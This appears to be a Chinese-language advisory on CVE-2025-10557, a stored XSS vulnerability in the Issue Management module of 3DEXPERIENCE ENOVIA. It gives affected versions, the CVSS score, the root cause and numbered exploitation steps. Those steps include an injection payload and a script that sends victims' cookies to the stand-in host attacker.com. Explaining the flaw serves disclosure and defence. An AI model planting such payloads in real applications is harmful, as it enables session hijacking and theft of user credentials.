CVE-2025-10557CVE-2025-10557是存在于Dassault Systèmes 3DEXPERIENCE平台ENOVIA Collaborative Industry Innovator组件Issue Management(问题管理)功能中的一个存储型跨站脚本(Stored XSS)漏洞。该漏洞由3DS Information Security团队发现并报告,于2025年10月13日正式披露。
该漏洞影响从3DEXPERIENCE R2022x到R2025x的所有发行版本。存储型XSS是最危险的XSS攻击类型之一,攻击者将恶意脚本代码持久化存储在目标服务器的数据库中,当其他用户访问包含恶意代码的页面时,恶意脚本将在受害者浏览器中自动执行。
根据CVSS 3.1评分标准,该漏洞评分为8.7分,属于高危级别。攻击者需要具备低权限账户(PR:L)即可发起攻击,且需要受害者进行某种形式的用户交互(UI:R),例如查看被污染的Issue页面。成功利用后,攻击者可在受害者的浏览器会话中执行任意脚本代码,导致高机密性影响(C:H)和高完整性影响(I:H),但对系统可用性无直接影响(A:N)。
ENOVIA Collaborative Industry Innovator是3DEXPERIENCE平台中用于协同产品生命周期管理的重要组件,被全球众多制造业企业广泛使用,因此该漏洞可能对使用该平台的企业造成严重的安全风险,包括但不限于会话劫持、敏感数据窃取、特权提升以及进一步的内网渗透。
该漏洞位于ENOVIA Collaborative Industry Innovator的Issue Management(问题管理)模块中,属于典型的存储型跨站脚本漏洞。
**漏洞原理:**
Issue Management模块允许用户创建、编辑和查看各种Issue条目,包括Issue的标题、描述、评论等字段。漏洞的根本原因在于服务器端对这些用户输入字段未进行充分的输入验证和输出编码。攻击者可以在创建或编辑Issue时,将恶意的JavaScript代码(如`<script>`标签、事件处理器或HTML注入代码)嵌入到Issue的文本字段中。由于服务器未对这些输入进行HTML实体编码或过滤就直接存储到数据库中,恶意脚本被持久化保存。
**利用方式:**
1. 攻击者使用低权限账户登录3DEXPERIENCE平台;
2. 在Issue Management模块中创建新的Issue或编辑现有Issue;
3. 在Issue的标题、描述或评论字段中注入恶意JavaScript代码,例如:`<img src=x onerror=alert(document.cookie)>` 或 `<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>`;
4. 提交Issue后,恶意代码被存储到服务器数据库中;
5. 当其他用户(包括管理员)查看该Issue时,服务器从数据库中读取数据并直接渲染到HTML页面中,未进行输出编码;
6. 恶意脚本在受害者浏览器中执行,可窃取会话Cookie、进行权限提升操作或执行其他恶意行为。
由于是存储型XSS,攻击无需每次手动触发,只需等待受害者访问被污染的页面即可实现攻击,具有极强的隐蔽性和持续性。